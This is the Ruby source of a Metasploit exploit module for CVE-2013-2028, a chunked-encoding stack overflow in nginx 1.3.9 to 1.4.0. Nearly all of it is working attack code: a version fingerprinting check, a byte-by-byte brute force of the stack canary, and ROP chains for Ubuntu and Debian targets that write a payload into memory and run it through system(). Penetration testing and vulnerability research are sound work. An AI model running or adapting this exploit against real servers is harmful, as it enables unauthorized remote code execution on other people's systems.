Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote

include Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,
'Name'           => 'Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow',
'Description'    => %q{
This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx.
The exploit first triggers an integer overflow in the ngx_http_parse_chunked() by
supplying an overly long hex value as chunked block size. This value is later used
when determining the number of bytes to read into a stack buffer, thus the overflow
becomes possible.
},
'Author'         =>
[
'Greg MacManus',    # original discovery
'hal',              # Metasploit module
'saelo'             # Metasploit module
],
'DisclosureDate' => 'May 07 2013',
'License'        => MSF_LICENSE,
'References'     =>
[
['CVE', '2013-2028'],
['OSVDB', '93037'],
['URL', 'http://nginx.org/en/security_advisories.html'],
['URL', 'http://packetstormsecurity.com/files/121560/Nginx-1.3.9-1.4.0-Stack-Buffer-Overflow.html']
],
'Privileged'     => false,
'Payload'        =>
{
'BadChars' => "\x0d\x0a",
},
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Targets'        =>
[
[ 'Ubuntu 13.04 32bit - nginx 1.4.0', {
'CanaryOffset' => 5050,
'Offset' => 12,
'Writable' => 0x080c7330, # .data from nginx
:dereference_got_callback => :dereference_got_ubuntu_1304,
:store_callback => :store_ubuntu_1304,
}],
[ 'Debian Squeeze 32bit - nginx 1.4.0', {
'Offset' => 5130,
'Writable' => 0x080b4360, # .data from nginx
:dereference_got_callback => :dereference_got_debian_squeeze,
:store_callback => :store_debian_squeeze
} ],
],

'DefaultTarget' => 0
))

register_options([
OptPort.new('RPORT', [true, "The remote HTTP server port", 80])
], self.class)

register_advanced_options(
[
OptInt.new("CANARY", [false, "Use this value as stack canary instead of brute forcing it", 0xffffffff ]),
], self.class)

end

def peer
"#{rhost}:#{rport}"
end

def check
begin
res = send_request_fixed(nil)

if res =~ /^Server: nginx\/(1\.3\.(9|10|11|12|13|14|15|16)|1\.4\.0)/m
return Exploit::CheckCode::Appears
elsif res =~ /^Server: nginx/m
return Exploit::CheckCode::Detected
end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{peer} - Connection failed")
end

return Exploit::CheckCode::Unknown
end

#
# Generate a random chunk size that will always result
# in a negative 64bit number when being parsed
#
def random_chunk_size(bytes=16)
return bytes.times.map{ (rand(0x8) + 0x8).to_s(16) }.join
end

def send_request_fixed(data)

connect

request = "GET / HTTP/1.1\r\n"
request <<"Host: #{Rex::Text.rand_text_alpha(16)}\r\n"
request <<"Transfer-Encoding: Chunked\r\n"
request <<"\r\n"
request <<"#{data}"

sock.put(request)

res = nil

begin
res = sock.get_once(-1, 0.5)
rescue EOFError => e
# Ignore
end

disconnect
return res
end

def store_ubuntu_1304(address, value)
chain = [
0x0804c415, # pop ecx ; add al, 29h ; ret
address, # address
0x080b9a38, # pop eax ; ret
value.unpack('V').first, # value
0x080a9dce, # mov [ecx], eax ; mov [ecx+4], edx ; mov eax, 0 ; ret
]
return chain.pack('V*')
end

def dereference_got_ubuntu_1304
chain = [
0x08094129,         # pop esi; ret
0x080c5090,         # GOT for localtime_r
0x0804c415,         # pop ecx ; add al, 29h ; ret
0x001a4b00,         # Offset to system
0x080c360a,         # add ecx, [esi] ; adc al, 41h ; ret
0x08076f63,         # push ecx ; add al, 39h ; ret
0x41414141,         # Garbage return address
target['Writable'], # ptr to .data where contents have been stored
]
return chain.pack('V*')
end

def store_debian_squeeze(address, value)
chain = [
0x08050d93,              # pop edx ; add al 0x83 ; ret
value.unpack('V').first, # value
0x08067330,              # pop eax ; ret
address,                 # address
0x08070e94,              # mov [eax] edx ; mov eax 0x0 ; pop ebp ; ret
0x41414141,              # ebp
]

return chain.pack('V*')
end

def dereference_got_debian_squeeze
chain = [
0x0804ab34,        # pop edi ; pop ebp ; ret
0x080B4128 -
0x5d5b14c4,        # 0x080B4128 => GOT for localtime_r; 0x5d5b14c4 => Adjustment
0x41414141,    # padding (ebp)
0x08093c75,        # mov ebx, edi ; dec ecx ; ret
0x08067330,        # pop eax # ret
0xfffb0c80,        # offset
0x08078a46,        # add eax, [ebx+0x5d5b14c4] # ret
0x0804a3af,       # call eax # system
target['Writable'] # ptr to .data where contents have been stored
]
return chain.pack("V*")
end

def store(buf, address, value)
rop = target['Rop']
chain = rop['store']['chain']
chain[rop['store']['address_offset']] = address
chain[rop['store']['value_offset']] = value.unpack('V').first
buf << chain.pack('V*')
end

def dereference_got

unless self.respond_to?(target[:store_callback]) and self.respond_to?(target[:dereference_got_callback])
fail_with(Exploit::Failure::NoTarget, "Invalid target specified: no callback functions defined")
end

buf = ""
command = payload.encoded
i = 0
while i < command.length
buf << self.send(target[:store_callback], target['Writable'] + i, command[i, 4].ljust(4, ";"))
i = i + 4
end

buf << self.send(target[:dereference_got_callback])

return buf
end

def exploit
data = random_chunk_size(1024)

if target['CanaryOffset'].nil?
data << Rex::Text.rand_text_alpha(target['Offset'] - data.size)
else

if not datastore['CANARY'] == 0xffffffff
print_status("#{peer} - Using 0x%08x as stack canary" % datastore['CANARY'])
canary = datastore['CANARY']
else
print_status("#{peer} - Searching for stack canary")
canary = find_canary

if canary.nil? || canary == 0x00000000
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to find stack canary")
else
print_good("#{peer} - Canary found: 0x%08x\n" % canary)
end
end

data <<Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)
data <<[canary].pack('V')
data << Rex::Text.rand_text_hex(target['Offset'])

end

data << dereference_got

begin
send_request_fixed(data)
rescue Errno::ECONNRESET => e
# Ignore
end
handler
end

def find_canary
# First byte of the canary is already known
canary = "\x00"

print_status("#{peer} - Assuming byte 0 0x%02x" % 0x00)

# We are going to bruteforce the next 3 bytes one at a time
3.times do |c|
print_status("#{peer} - Bruteforcing byte #{c + 1}")

0.upto(255) do |i|
data = random_chunk_size(1024)
data <<Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)
data <<canary
data << i.chr

unless send_request_fixed(data).nil?
print_good("#{peer} - Byte #{c + 1} found: 0x%02x" % i)
canary << i.chr
break
end
end
end

if canary == "\x00"
return nil
else
return canary.unpack('V').first
end
end
end

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